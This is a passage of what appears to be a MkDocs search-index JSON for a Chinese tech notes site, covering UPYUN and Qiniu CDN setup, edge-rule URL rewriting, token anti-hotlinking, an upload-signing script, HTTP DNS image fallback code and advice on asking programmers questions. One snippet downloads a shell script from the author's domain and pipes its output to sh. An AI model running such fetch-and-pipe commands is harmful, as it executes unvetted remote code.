\\u5176\\u4e2d\\u7684\\u7528\\u6237\\u540d\\u7684/\\u7b26\\u53f7\\u9700\\u8981\\u6539\\u4e3a%2f</p>\"},{\"location\":\"CDN/#upyunmanager\",\"title\":\"UpyunManager\",\"text\":\"<p>https://github.com/layerssss/manager-for-upyun</p>\"},{\"location\":\"CDN/#upyun-python\",\"title\":\"UPYUN Python\\u6267\\u884c\\u7f13\\u5b58\\u5237\\u65b0\",\"text\":\"<p>\\u6bd4\\u5982\\u672cblog\\u8bbe\\u7f6e\\u4e86\\u7f13\\u5b58\\u6240\\u6709html\\u4e00\\u5e74\\u6765\\u51cf\\u5c11\\u56de\\u6e90github\\u7684\\u6b21\\u6570\\uff0c\\u5728\\u6bcf\\u6b21\\u6211\\u66f4\\u65b0\\u540e\\u5c31\\u5237\\u65b0\\u4e00\\u6b21\\u7f13\\u5b58</p> <p>\\u89c4\\u5219\\u5237\\u65b0\\uff1a</p> <p>https://github.com/zjuchenyuan/EasyLogin/tree/master/examples/upyun</p> <p>URL\\u5237\\u65b0\\u4e5f\\u662f\\u540c\\u7406\\uff1a</p> <p>\\u5b98\\u65b9\\u6587\\u6863\\uff1ahttp://docs.upyun.com/api/purge/</p> <p>\\u6211\\u7684\\u4ee3\\u7801upyun_purge.py</p> <p>\\u6ce8\\u610f\\u64cd\\u4f5c\\u5458\\u8981\\u88ab\\u6388\\u6743\\uff1b\\u8c03\\u7528API\\u6b63\\u5e38\\u7684\\u8fd4\\u56de\\u503c\\u5c31\\u662f<code>{'invalid_domain_of_url': {}}</code>\\uff0c\\u4e0d\\u8981\\u770b\\u5230invalid\\u5c31\\u4ee5\\u4e3a\\u51fa\\u9519\\u4e86hhh</p>\"},{\"location\":\"CDN/#upyunwebp\",\"title\":\"\\u4f7f\\u7528upyun\\u63d0\\u4f9b\\u7684webp\\u529f\\u80fd\\u8282\\u7701\\u6d41\\u91cf\",\"text\":\"<p>\\u73b0\\u5728\\u5df2\\u7ecf\\u6709\\u914d\\u7f6e\\uff0c\\u542f\\u7528\\u540e\\u81ea\\u52a8\\u6839\\u636e\\u7528\\u6237\\u7684\\u6d4f\\u89c8\\u5668Accept\\u81ea\\u52a8\\u8fd4\\u56dewebp\\uff0c\\u65e0\\u9700\\u4efb\\u4f55\\u64cd\\u4f5c</p> <p>\\u4e4b\\u524d\\u7684\\u65b9\\u6848\\uff1a\\u65e0\\u9700\\u4ee3\\u7801\\uff0c\\u53ea\\u9700\\u8981\\u5728\\u539f\\u56fe\\u540e\\u9762\\u52a0\\u4e0a<code>!/format/webp</code>\\u5373\\u53ef\\uff0c\\u5047\\u8bbe\\u5df2\\u7ecf\\u5728\\u4f7f\\u7528\\u81ea\\u5b9a\\u4e49\\u56fe\\u7247\\u683c\\u5f0f\\uff0c\\u4f8b\\u5982<code>!compress</code>\\u5219\\u53d8\\u4e3a<code>!compress/format/webp</code>\\u53ef\\u4ee5\\u8fdb\\u4e00\\u6b65\\u8282\\u7701\\u6d41\\u91cf</p> <p>\\u5b98\\u65b9\\u8bf4\\u660e\\uff1a https://www.upyun.com/webp.html</p>\"},{\"location\":\"CDN/#404\",\"title\":\"\\u4f7f\\u7528\\u8fb9\\u7f18\\u89c4\\u5219\\u4fee\\u590d\\u6539\\u7248\\u5bfc\\u81f4\\u7684404\\u95ee\\u9898\",\"text\":\"<p>\\u672c\\u7ad9\\u539f\\u7248\\u4f7f\\u7528\\u7684Jekyll\\u5c06xxx.md\\u7f16\\u8bd1\\u4e3axxx.html\\uff0c\\u73b0\\u5728\\u6539\\u7528MkDocs\\u540exxx.md\\u7f16\\u8bd1\\u5f97\\u5230\\u7684\\u662fxxx/index.html\\uff0c\\u539f\\u5148\\u7684\\u94fe\\u63a5\\u5c31404\\u4e86</p> <p>\\u53c8\\u62cd\\u4e91\\u80fd\\u914d\\u7f6e\\u8fb9\\u7f18\\u89c4\\u5219 \\u8fdb\\u884cURL\\u6539\\u5199\\uff0c\\u7528\\u6237\\u5728\\u8bbf\\u95eexxx.html\\u7684\\u65f6\\u5019\\u5b9e\\u9645\\u56de\\u6e90xxx/</p> <p>\\u800c\\u4e14\\u914d\\u7f6e\\u633a\\u7b80\\u5355\\uff0c\\u53ea\\u8981\\u4f1a\\u5199\\u6b63\\u5219\\u5373\\u53ef</p> <p>\\u914d\\u7f6e\\u89c4\\u5219\\u5982\\u4e0b\\uff1a</p> <pre><code>\\u6761\\u4ef6\\u5224\\u65ad\\uff1a \\u5982\\u679c\\u8bf7\\u6c42URI \\u6b63\\u5219\\u5339\\u914d ^/[^/]*html$\\n\\u529f\\u80fd\\u9009\\u62e9\\uff1a URL\\u6539\\u5199\\nURI \\u5b57\\u7b26\\u4e32\\u63d0\\u53d6\\uff1a ^/([^/]*).html$\\n\\u6539\\u5199\\u89c4\\u5219\\uff1a/$1/\\nbreak: \\u6253\\u52fe\\n</code></pre>\"},{\"location\":\"CDN/#upyun-upyun-token\",\"title\":\"UPYUN \\u4f7f\\u7528\\u8fb9\\u7f18\\u89c4\\u5219\\u5b9e\\u73b0upyun TOKEN\\u53cd\\u76d7\\u94fe\\u529f\\u80fd\",\"text\":\"<p>\\u60f3\\u53ea\\u5bf9\\u7279\\u5b9aurl\\u4f7f\\u7528token\\u53cd\\u76d7\\u94fe\\uff0c\\u4e8e\\u662f\\u5c31\\u4f7f\\u7528\\u8fb9\\u7f18\\u89c4\\u5219\\u6765\\u5b9e\\u73b0\\u4e00\\u4e0b\\u5b8c\\u5168\\u517c\\u5bb9\\u53cd\\u76d7\\u94fe\\u7684\\u7b97\\u6cd5\\u54af</p> <p>\\u53d1\\u73b0\\u4e00\\u4e2a\\u5751\\uff1a\\u53c8\\u62cd\\u4e91\\u7684\\u8fb9\\u7f18\\u89c4\\u5219\\u7684<code>$SUB</code>\\u51fd\\u6570 \\u5176from\\u548cto\\u662f\\u4ece1\\u5f00\\u59cb\\u8ba1\\u6570\\u7684\\uff0c\\u5305\\u62ecfrom\\uff0c\\u4e5f\\u5305\\u62ecto</p> <p>URI \\u5b57\\u7b26\\u4e32\\u63d0\\u53d6\\u4e0d\\u586b\\uff0cbreak\\u4e0d\\u9009\\uff0c\\u89c4\\u5219\\u7f16\\u8f91\\u5668\\u586b\\u4ee5\\u4e0b\\u5185\\u5bb9</p> <pre><code>$WHEN($MATCH($_URI, '\\u8fd9\\u91cc\\u586bURI\\u5339\\u914d\\u6b63\\u5219'),$OR($GT($_TIME, $SUB($_GET__upt, 9,99)),$NOT($_GET__upt), $NOT($EQ($SUB($MD5('\\u8fd9\\u91cc\\u586bTOKEN''&amp;'$SUB($_GET__upt, 9,99)'&amp;'$_URI),13,20),$SUB($_GET__upt, 1,8)))))$EXIT(403)\\n</code></pre>\"},{\"location\":\"CDN/#upyun-https\",\"title\":\"UPYUN https\\u8bc1\\u4e66\\u66f4\\u65b0\",\"text\":\"<p>\\u4f7f\\u7528F12\\u5f00\\u53d1\\u4eba\\u5458\\u5de5\\u5177\\u770b\\u7684\\u63a5\\u53e3\\uff0c\\u7528Python\\u5b9e\\u73b0\\u4e86\\u4e00\\u4e0b\\uff0c\\u4ece\\u624b\\u52a8\\u4e00\\u4e2a\\u4e2a\\u6dfb\\u52a0\\u8bc1\\u4e66\\u4e2d\\u89e3\\u653e\\u51fa\\u6765</p> <p>https://github.com/zjuchenyuan/EasyLogin/tree/master/examples/upyun/</p>\"},{\"location\":\"CDN/#upyun_1\",\"title\":\"UPYUN \\u8868\\u5355\\u4e0a\\u4f20\\u600e\\u4e48\\u7528\",\"text\":\"<p>\\u5728\\u529f\\u80fd\\u914d\\u7f6e-\\u5b58\\u50a8\\u7ba1\\u7406\\u9875\\u9762\\u53ef\\u4ee5\\u770b\\u5230\\u6587\\u4ef6\\u5bc6\\u94a5\\uff0c\\u5b98\\u65b9\\u5e2e\\u52a9\\u6587\\u6863\\u8fc7\\u4e8e\\u5206\\u6563\\uff0c\\u8fd9\\u91cc\\u6574\\u7406\\u4e00\\u4e0b\\u5fc5\\u987b\\u7684\\u6b65\\u9aa4</p> <p>\\u9700\\u6c42\\uff1a\\u7b80\\u5355\\u7684\\u5141\\u8bb8\\u4e0a\\u4f20\\u4e00\\u4e2a\\u56fa\\u5b9a\\u6587\\u4ef6\\u540d\\u7684\\u6587\\u4ef6\\uff0c\\u4e0d\\u8981\\u8fc7\\u671f</p> <p>\\u9996\\u5148\\u5199\\u4e00\\u4e2a\\u4e0a\\u4f20\\u7b56\\u7565policy\\uff0c\\u7136\\u540e\\u5bf9\\u5b83base64\\uff0c\\u548c\\u5bc6\\u94a5\\u7528&amp;\\u62fc\\u63a5\\u540e\\u8ba1\\u7b97md5</p> <p>\\u8fd9\\u4e2a\\u811a\\u672c\\u5c06\\u8f93\\u51fa\\u53d8\\u91cf\\u5b9a\\u4e49\\u548ccurl\\u547d\\u4ee4\\uff0c\\u4fbf\\u4e8e\\u590d\\u5236\\u4f7f\\u7528</p> <pre><code>key='AAA...AAA'\\nbucket='demobucket'\\nfilename='img.jpg'\\n\\nfilepath=\\\"/${filename}\\\"\\npolicy='{\\\"bucket\\\":\\\"'${bucket}'\\\",\\\"expiration\\\":9999999999,\\\"save-key\\\":\\\"'${filepath}'\\\"}'\\nb64_policy=`echo -n $policy|base64 -w0`\\n\\necho UPYUN_POLICY=${b64_policy}\\necho UPYUN_SIGN=$(echo -n \\\"${b64_policy}&amp;${key}\\\"|md5sum|awk '{print $1}')\\necho \\\"curl https://v0.api.upyun.com/${bucket} -F file=@${filename} -F policy=\\\\${UPYUN_POLICY} -F signature=\\\\${UPYUN_SIGN}\\\"\\n</code></pre> <p>\\u6211\\u4e5f\\u63d0\\u4f9b\\u4e86\\u4e00\\u4e2a\\u811a\\u672c\\u4fbf\\u4e8e\\u4f60\\u5feb\\u901f\\u8c03\\u7528\\uff1a</p> <pre><code>curl -O d.py3.io/up.sh\\nsh up.sh key bucket filename\\n\\n# \\u89e6\\u53d1\\u4e0a\\u4f20\\u53ea\\u8981\\u7ee7\\u7eed\\u4e22\\u7ed9sh\\u5c31\\u884c\\nsh up.sh key bucket filename|sh\\n</code></pre>\"},{\"location\":\"CDN/#upyun61\",\"title\":\"UPYUN\\u7701\\u94b1\\u65b9\\u6848\\uff1a\\u7f13\\u5b5861\\u79d2 \\u53d8\\u4e3a\\u9759\\u6001\\u8bf7\\u6c42\",\"text\":\"<p>\\u867d\\u7136\\u4eba\\u5bb6 \\u8ba1\\u8d39\\u8bf4\\u660e \\u5199\\u7684\\u662f</p> <p>\\u52a8\\u6001\\u8bf7\\u6c42\\u662f\\u6307\\u56de\\u7528\\u6237\\u6e90\\u7ad9\\u5e76\\u4e14\\u7f13\\u5b58\\u65f6\\u95f4\\u5c0f\\u4e8e 60 \\u79d2\\u6216\\u8005\\u6307\\u5b9a\\u4e0d\\u7f13\\u5b58\\u7684\\u8bf7\\u6c42\\u3002</p> <p>\\u4f46\\u4ece\\u5b9e\\u9645\\u7684\\u8bbf\\u95ee\\u65e5\\u5fd7\\u6765\\u770b\\uff0c\\u7f13\\u5b5860\\u79d2\\u662f\\u4e0d\\u591f\\u7684\\uff0c\\u5fc5\\u987b\\u7f13\\u5b5861\\u79d2\\u624d\\u5f53\\u6210\\u9759\\u6001\\u8bf7\\u6c42</p> <p>\\u9700\\u8981\\u8fdb\\u884c\\u7684\\u4ee3\\u7801\\u53d8\\u52a8: \\u5b50\\u57df\\u540d+\\u76f4\\u63a5\\u89e3\\u6790\\u5230\\u6e90\\u7ad9+\\u8de8\\u57df\\u8bf7\\u6c42+\\u4e00\\u4e2a\\u83b7\\u53d6cookie\\u7684\\u8def\\u7531</p> <p>\\u6ce8\\u610f\\u5230\\u6211\\u4eec\\u628a\\u7f51\\u9875\\u672c\\u8eab\\u90fd\\u7f13\\u5b58\\u4e86\\uff0c\\u6240\\u4ee5 \\u7f51\\u9875\\u6e90\\u4ee3\\u7801\\u672c\\u8eab\\u4e0d\\u80fd\\u6709\\u7528\\u6237\\u76f8\\u5173\\u7684\\u5185\\u5bb9</p> <p>\\u7528\\u6237\\u767b\\u5f55\\u72b6\\u6001\\u53ef\\u4ee5\\u5b58\\u5728cookie\\u91cc \\u6307\\u5b9adomain\\u7684\\u65b9\\u5f0f\\u8ba9\\u5b50\\u57df\\u540d\\u4e5f\\u80fd\\u83b7\\u53d6</p> <p>\\u7f13\\u5b5861\\u79d2\\uff0c\\u4e00\\u822c\\u7528\\u6237\\u8fd8\\u662f\\u80fd\\u89e6\\u53d1MISS\\uff0c\\u4ea7\\u751f\\u4e00\\u6b21\\u56de\\u6e90\\u8bbe\\u7f6e\\u597dcookie</p> <p>\\u4f46\\u5982\\u679c\\u7528\\u6237\\u8bbf\\u95ee\\u7684\\u5168\\u90e8\\u662f\\u7f13\\u5b58\\u9875\\u9762\\uff0c\\u524d\\u7aef\\u4ee3\\u7801\\u9700\\u8981\\u5148\\u5224\\u65adcookie\\u662f\\u5426\\u5b58\\u5728\\uff0c\\u4e0d\\u5b58\\u5728\\u5c31\\u9700\\u8981\\u53d1\\u8d77getsession\\u8bf7\\u6c42\\u6765\\u83b7\\u53d6cookie\\u518d\\u8fdb\\u884c\\u8de8\\u57df\\u8bf7\\u6c42</p> <p>\\u8fd9\\u79cd\\u8de8\\u57df\\u9700\\u8981\\u5e26\\u4e0aCookie\\u6240\\u4ee5\\u662fwithCredential\\u7684</p> <p>\\u524d\\u7aefjs:</p> <pre><code>function queryme(){\\n$.ajax({\\nurl:\\\"https://subdomain.www.example.com/uri\\\",\\nsuccess:function(data){\\n//...\\n},\\nxhrFields:{withCredentials:true}\\n})\\n}\\n(function(){\\nif(document.cookie.indexOf(\\\"user=\\\")&gt;=0){\\nqueryme();\\n}else{\\n$.get(\\\"/getsession\\\",null,queryme);\\n}\\n})();\\n</code></pre> <p>\\u540e\\u7aefNginx:</p> <pre><code>add_header 'Access-Control-Allow-Origin' 'https://www.example.com';\\nadd_header 'Access-Control-Allow-Credentials' 'true';\\n</code></pre>\"},{\"location\":\"CDN/#qiniu\",\"title\":\"Qiniu\",\"text\":\"\"},{\"location\":\"CDN/#qshell\",\"title\":\"\\u4f7f\\u7528qshell\\u4e0a\\u4f20\\u6587\\u4ef6\\u5939\",\"text\":\"<pre><code>qshell qupload [&lt;ThreadCount&gt;] &lt;LocalUploadConfig&gt;\\n</code></pre> <p>\\u9700\\u8981\\u5199\\u4e00\\u4e2aconfig\\u6587\\u4ef6\\uff0c\\u5177\\u4f53\\u53c2\\u89c1\\u5b98\\u65b9\\u6587\\u6863</p> <p>https://developer.qiniu.com/kodo/tools/1302/qshell</p> <p>https://github.com/qiniu/qshell/wiki/qupload</p>\"},{\"location\":\"CDN/#dnshttp-dnscdn\",\"title\":\"\\u672c\\u5730DNS\\u4e0d\\u9760\\u8c31\\uff1f\\u7528HTTP DNS\\u8bbf\\u95ee\\u6b63\\u786e\\u7684CDN\\u8282\\u70b9\",\"text\":\"<p>\\u60c5\\u5f62\\uff1a\\u7528\\u6237\\u7684DNS\\u4e0d\\u9760\\u8c31\\uff0c\\u4e0d\\u9075\\u5faaCDN DNS\\u7684TTL\\u8bbe\\u7f6e\\uff0c\\u5bfc\\u81f4\\u7528\\u6237\\u5f97\\u5230\\u7684\\u8282\\u70b9IP\\u5df2\\u7ecf\\u8fc7\\u671f\\u5931\\u6548\\uff0c\\u5bfc\\u81f4\\u7f51\\u7ad9\\u4e0a\\u7684\\u56fe\\u7247\\u65e0\\u6cd5\\u52a0\\u8f7d</p> <p>\\u89e3\\u51b3\\u65b9\\u6848\\uff1a\\u4f7f\\u7528\\u963f\\u91cc\\u4e91\\u7684HTTP DNS (\\u652f\\u6301HTTPS\\u8bf7\\u6c42)\\uff0c\\u7f51\\u9875\\u7aef\\u8bbf\\u95ee\\u56fe\\u7247\\u65f6\\u5982\\u679c\\u51fa\\u9519\\u66ff\\u6362\\u4e3a\\u6307\\u5b9aIP\\u7684CDN\\u8282\\u70b9</p>\"},{\"location\":\"CDN/#http-dns\",\"title\":\"HTTP DNS\\u63a5\\u5165\",\"text\":\"<p>\\u6309\\u7167\\u6587\\u6863\\u64cd\\u4f5c\\u5373\\u53ef\\uff1a https://help.aliyun.com/document_detail/30113.html</p> <p>\\u6ce8\\u610f\\u5230\\u76ee\\u524d<code>https://203.107.1.33</code>\\u4f1a\\u8bc1\\u4e66\\u9519\\u8bef\\uff0c\\u6539\\u7528<code>https://203.107.1.1</code>\\u5373\\u53ef</p> <p>\\u8fd9\\u4e2a\\u63a5\\u53e3\\u652f\\u6301\\u8de8\\u57df\\u8bf7\\u6c42\\uff1a</p> <pre><code>$.get(\\\"https://203.107.1.1/100000/d?host=www.aliyun.com\\\",null,function(data){\\nvar ip = data.ips[0];\\nconsole.log(ip);\\n});\\n</code></pre>\"},{\"location\":\"CDN/#_2\",\"title\":\"\\u6cdb\\u57df\\u540d\\u89e3\\u6790\",\"text\":\"<p>\\u53c2\\u8003 sslip.io</p> <p>\\u5047\\u8bbe\\u6211\\u4eec\\u6709\\u5df2\\u7ecf\\u5907\\u6848\\u7684\\u57df\\u540d<code>example.com</code>\\uff0c\\u4f7f\\u7528<code>xip.example.com</code>\\u4f5c\\u4e3a\\u6cdb\\u57df\\u540d\\u89e3\\u6790\\u7684\\u57df\\u540d\\uff0c\\u4e5f\\u5c31\\u662f\\u8bf4<code>140-205-34-3.xip.example.com</code>\\u5c31\\u4f1a\\u89e3\\u6790\\u5230<code>140.205.34.3</code></p> <p>\\u53ea\\u9700\\u8981\\u8bbe\\u7f6e4\\u6761NS\\u8bb0\\u5f55\\u5373\\u53ef\\uff1a</p> <pre><code>ns-aws.nono.io\\nns-gce.nono.io\\nns-azure.nono.io\\nns-vultr.nono.io\\n</code></pre>\"},{\"location\":\"CDN/#https\",\"title\":\"\\u7533\\u8bf7\\u6cdb\\u57df\\u540d\\u7684https\\u8bc1\\u4e66\",\"text\":\"<p>\\u53c2\\u89c1\\uff1a https://py3.io/Nginx/#acmesh</p>\"},{\"location\":\"CDN/#cdn_1\",\"title\":\"\\u914d\\u7f6eCDN\",\"text\":\"<p>\\u5c06\\u6cdb\\u57df\\u540d\\u7ed1\\u5b9a\\u5230CDN\\u670d\\u52a1\\u4e0a\\uff0c\\u5e76\\u63d0\\u4f9b\\u7533\\u8bf7\\u5230\\u7684HTTPS\\u8bc1\\u4e66\\uff0c\\u5f00\\u542fHTTPS\\u8bbf\\u95ee</p>\"},{\"location\":\"CDN/#js\",\"title\":\"\\u524d\\u7aefJS\",\"text\":\"<p>\\u4e0b\\u8ff0\\u4ee3\\u7801\\u51fa\\u9519\\u65f6\\u5c06\\u628a\\u56fe\\u7247src\\u7684<code>www.aliyun.com</code>\\u66ff\\u6362\\u4e3a<code>1-2-3-4.xip.example.com</code>\\uff0c\\u7279\\u70b9\\uff1a</p> <ul> <li>\\u53ea\\u8981\\u4e00\\u5f20CDN\\u7684\\u56fe\\u7247\\u5df2\\u7ecf\\u51fa\\u9519\\u5c31\\u4f1a\\u5f00\\u59cb\\u66ff\\u6362\\u6240\\u6709\\u574f\\u56fe</li> <li>\\u4e0d\\u4f1a\\u66ff\\u6362\\u5df2\\u7ecf\\u6210\\u529f\\u52a0\\u8f7d\\u7684\\u56fe\\u7247</li> <li>\\u4f7f\\u7528localStorage\\u7f13\\u5b58HTTP DNS\\u7684\\u67e5\\u8be2\\u7ed3\\u679c \\u7f13\\u5b58\\u4e00\\u5468</li> <li>\\u5b58\\u50a8\\u4e86DNS\\u7684TTL\\u7ed3\\u679c\\uff0c\\u5982\\u679cTTL\\u5df2\\u7ecf\\u8fc7\\u671f\\u5c31\\u518d\\u6b21\\u67e5\\u8be2\\uff08\\u6240\\u4ee5\\u4e0a\\u9762\\u7f13\\u5b58\\u4e00\\u5468\\u5176\\u5b9e\\u6ca1\\u7528\\uff0cTTL\\u4e00\\u822c\\u5c3110\\u5206\\u949f\\uff09</li> </ul> <p>\\u53c2\\u8003\\uff1a </p> <ul> <li>https://stackoverflow.com/questions/736513/how-do-i-parse-a-url-into-hostname-and-path-in-javascript</li> <li>https://stackoverflow.com/questions/92720/jquery-javascript-to-replace-broken-images</li> </ul> <p>\\u4f9d\\u8d56lscache: https://github.com/pamelafox/lscache</p> <pre><code>var cdnupdating = false;\\n\\nfunction updatecdn(cb){\\nif(cdnupdating) return;\\ncdnupdating = true;\\n$.get(\\\"https://203.107.1.1/100000/d?host=www.aliyun.com\\\",null,function(data){\\nvar ip = data.ips[0];\\nvar domain = ip.replace(/\\\\./g, \\\"-\\\")+\\\".xip.example.com\\\";\\nvar ddl=new Date()/1000 + data.ttl;\\nvar cdn = {domain:domain, ddl:ddl};\\nlscache.set('cdn', cdn, 604800);\\nif(cb) cb(cdn);\\n});\\n}\\n\\nfunction fixbrokenimages(cdn){\\nif(!cdn) cdn=lscache.get(\\\"cdn\\\");\\nif(!cdn || cdn.ddl &lt; +new Date()/1000) return updatecdn(fixbrokenimages);\\n$('img[src*=\\\"www.aliyun.com\\\"]').each(function() {\\nif (!this.complete || typeof this.naturalWidth == \\\"undefined\\\" || this.naturalWidth == 0) {\\nthis.src = this.src.replace(\\\"www.aliyun.com\\\", cdn.domain);\\n}\\n});\\n}\\nvar fixbrokenimages_timer = null;\\nfunction image_onerror(){\\n//console.log(\\\"image_onerror\\\",this.src);\\nif(/.*www.aliyun.com.*/.test(this.src)){\\nfixbrokenimages();\\n}\\nif(!fixbrokenimages_timer){\\nfixbrokenimages_timer = setInterval(fixbrokenimages , 1000);\\n}\\n}\\n\\n$('img[src*=\\\"www.aliyun.com\\\"]').on('error', image_onerror);\\n</code></pre>\"},{\"location\":\"Developer/\",\"title\":\"Developer\",\"text\":\"\"},{\"location\":\"Developer/#_1\",\"title\":\"\\u4fdd\\u6301\\u6280\\u672f\\u7cbe\\u8fdb\",\"text\":\"<p>\\u5148\\u5f97\\u6709\\u65b9\\u5411\\uff0c\\u6211\\u7528\\u8fd9\\u4e2a\\u6280\\u672f\\u80fd\\u7ed9\\u6211\\u5e26\\u6765\\u4ec0\\u4e48\\u56de\\u62a5\\uff1f\\u627e\\u5230\\u5185\\u5728\\u52a8\\u529b</p> <ol> <li> <p>\\u8bfb\\u4e66\\uff0c\\u5b66\\u4e60\\u89c6\\u9891\\u8bfe\\u7a0b</p> </li> <li> <p>\\u53bb\\u9605\\u8bfb\\u6e90\\u7801\\uff0c\\u5927\\u7684\\u5f00\\u6e90\\u9879\\u76ee\\u6709\\u65b0\\u7684\\u6280\\u672f\\u3001\\u5de7\\u5999\\u7684\\u8bbe\\u8ba1\\u3001\\u4f18\\u826f\\u7684\\u67b6\\u6784\\uff0c\\u5bf9\\u81ea\\u5df1\\u5199\\u4ee3\\u7801\\u3001\\u67b6\\u6784\\u7684\\u80fd\\u529b\\u90fd\\u6709\\u975e\\u5e38\\u5927\\u7684\\u63d0\\u5347</p> </li> <li> <p>\\u5728\\u9879\\u76ee\\u4e2d\\u4f7f\\u7528\\u81ea\\u5df1\\u60f3\\u7528\\u7684\\u6280\\u672f\\uff0c\\u89e3\\u51b3\\u73b0\\u5b9e\\u95ee\\u9898</p> </li> <li> <p>\\u52a0\\u5165\\u5f00\\u6e90\\u9879\\u76ee\\uff0c\\u548c\\u725b\\u4eba\\u4e00\\u8d77\\u5de5\\u4f5c\\uff0c\\u5411\\u725b\\u4eba\\u770b\\u9f50</p> </li> <li> <p>\\u52a0\\u5165\\u9ad8\\u624b\\u7684\\u793e\\u7fa4\\uff0c\\u4e0e\\u4f18\\u79c0\\u7684\\u4eba\\u5728\\u4e00\\u8d77</p> </li> </ol>\"},{\"location\":\"Developer/#_2\",\"title\":\"\\u5982\\u4f55\\u660e\\u667a\\u5730\\u5411\\u7a0b\\u5e8f\\u5458\\u63d0\\u95ee\",\"text\":\"<p>From: https://z.codes/how-to-ask-computer-question/</p>\"},{\"location\":\"Developer/#_3\",\"title\":\"\\u7b80\\u77ed\\u7248\",\"text\":\"<p>\\u6211\\u73b0\\u5728\\u9047\\u5230\\u4e00\\u4e2a\\u95ee\\u9898X</p> <p>\\u6211\\u60f3\\u5230\\u53ef\\u80fd\\u7684\\u539f\\u56e0\\u662fa, b, c</p> <p>\\u6211\\u6392\\u9664\\u4e86\\u4ee5\\u4e0b\\u53ef\\u80fd\\u6027d, e, f</p> <p>\\u6211\\u5c1d\\u8bd5\\u8fc7\\u4ee5\\u4e0b\\u65b9\\u6848g, h, i</p> <p>\\u8bf7\\u95ee\\u8fd8\\u6709\\u4ec0\\u4e48\\u662f\\u6211\\u9057\\u6f0f\\u7684?</p>\"},{\"location\":\"Developer/#_4\",\"title\":\"\\u9996\\u5148\\u4f60\\u9700\\u8981\\u660e\\u767d\",\"text\":\"<ul> <li> <p>\\u7a0b\\u5e8f\\u5458\\u4eec\\u53ea\\u504f\\u7231\\u8270\\u5de8\\u7684\\u4efb\\u52a1\\uff0c\\u6216\\u8005\\u80fd\\u6fc0\\u53d1\\u4ed6\\u4eec\\u601d\\u7ef4\\u7684\\u597d\\u95ee\\u9898</p> </li> <li> <p>\\u5bf9\\u65b9\\u6ca1\\u6709\\u4e49\\u52a1\\u5fcd\\u8010\\u4f60\\u7684\\u65e0\\u77e5\\u548c\\u61d2\\u60f0</p> </li> <li> <p>\\u5468\\u5168\\u7684\\u601d\\u8003\\uff0c\\u51c6\\u5907\\u597d\\u4f60\\u7684\\u95ee\\u9898\\uff0c\\u8349\\u7387\\u7684\\u53d1\\u95ee\\u53ea\\u80fd\\u5f97\\u5230\\u8349\\u7387\\u7684\\u56de\\u7b54\\uff0c\\u6216\\u8005\\u6839\\u672c\\u5f97\\u4e0d\\u5230\\u4efb\\u4f55\\u7b54\\u6848</p> </li> </ul>\"},{\"location\":\"Developer/#_5\",\"title\":\"\\u63d0\\u95ee\\u4e4b\\u524d\",\"text\":\"<ul> <li> <p>\\u7528\\u4e2d\\u82f1\\u6587\\u8fdb\\u884cGoogle, \\u7ffb\\u524d\\u4e24\\u9875\\u7684\\u7ed3\\u679c, \\u5f80\\u5f80Stack Overflow\\u7f51\\u7ad9\\u4e0a\\u7684\\u7b54\\u6848\\u5c31\\u662f\\u6b63\\u786e\\u7b54\\u6848. \\u5982\\u679c\\u6ca1\\u6709\\u627e\\u5230, \\u66f4\\u6362\\u53ef\\u80fd\\u7684\\u5173\\u952e\\u8bcd\\u591a\\u6b21\\u5c1d\\u8bd5</p> </li> <li> <p>\\u5728FAQ/\\u6587\\u6863\\u91cc\\u627e\\u7b54\\u6848, \\u8010\\u5fc3\\u8bfb\\u82f1\\u6587\\u6587\\u6863\\u662f\\u57fa\\u672c\\u7d20\\u517b</p> </li> </ul>\"},{\"location\":\"Developer/#_6\",\"title\":\"\\u53d1\\u95ee\\u7684\\u5f62\\u5f0f\",\"text\":\"<ul> <li><p>\\u4f7f\\u7528\\u8a00\\u7b80\\u610f\\u8d45\\uff0c\\u63cf\\u8ff0\\u51c6\\u786e\\u7684\\u6807\\u9898</p> </li> <li><p>\\u7cbe\\u786e\\u63cf\\u8ff0, \\u4fe1\\u606f\\u91cf\\u5927, \\u4f46\\u662f\\u4e0d\\u5570\\u55e6</p> <ul> <li><p>\\u5c3d\\u53ef\\u80fd\\u8be6\\u7ec6\\u800c\\u660e\\u786e\\u7684\\u63cf\\u8ff0\\u75c7\\u72b6</p> </li> <li><p>\\u63d0\\u4f9b\\u95ee\\u9898\\u53d1\\u751f\\u7684\\u73af\\u5883\\uff08\\u673a\\u5668\\u914d\\u7f6e\\u3001\\u64cd\\u4f5c\\u7cfb\\u7edf\\u3001\\u5e94\\u7528\\u7a0b\\u5e8f\\u4ee5\\u53ca\\u522b\\u7684\\u4ec0\\u4e48\\uff09</p> </li> <li><p>\\u8bf4\\u660e\\u4f60\\u5728\\u63d0\\u95ee\\u524d\\u662f\\u600e\\u6837\\u53bb\\u7814\\u7a76\\u548c\\u7406\\u89e3\\u8fd9\\u4e2a\\u95ee\\u9898\\u7684</p> </li> <li><p>\\u8bf4\\u660e\\u4f60\\u5728\\u63d0\\u95ee\\u524d\\u91c7\\u53d6\\u4e86\\u4ec0\\u4e48\\u6b65\\u9aa4\\u53bb\\u89e3\\u51b3\\u5b83</p> </li> <li><p>\\u5728\\u81ea\\u5df1\\u7684\\u5c1d\\u8bd5\\u4e2d, \\u6392\\u9664\\u4e86\\u54ea\\u4e9b\\u53ef\\u80fd\\u7684\\u539f\\u56e0</p> </li> <li><p>\\u7f57\\u5217\\u6700\\u8fd1\\u505a\\u8fc7\\u4ec0\\u4e48\\u53ef\\u80fd\\u6709\\u5f71\\u54cd\\u7684\\u786c\\u4ef6\\u3001\\u8f6f\\u4ef6\\u53d8\\u66f4</p> </li> <li><p>\\u5c3d\\u91cf\\u60f3\\u8c61\\u4e00\\u4e2a\\u7a0b\\u5e8f\\u5458\\u4f1a\\u600e\\u6837\\u53cd\\u95ee\\u4f60\\uff0c\\u5728\\u63d0\\u95ee\\u7684\\u65f6\\u5019\\u9884\\u5148\\u7ed9\\u4ed6\\u7b54\\u6848</p> </li> </ul> </li> <li><p>\\u5bf9\\u6bcf\\u4e00\\u4e2a\\u5173\\u952e\\u6b65\\u9aa4\\u622a\\u56fe, \\u5982\\u679c\\u6709\\u9519\\u8bef\\u4fe1\\u606f, **\\u622a\\u56fe\\u548c\\u6587\\u5b57\\u7248**\\u8fde\\u540c\\u4ea7\\u751f\\u95ee\\u9898\\u7684**\\u4ee3\\u7801**\\u90fd\\u8981\\u53d1\\u7ed9\\u5bf9\\u65b9</p> </li> <li><p>\\u7ed9\\u51fa\\u81ea\\u5df1\\u51fa\\u95ee\\u9898\\u7684\\u4ee3\\u7801, 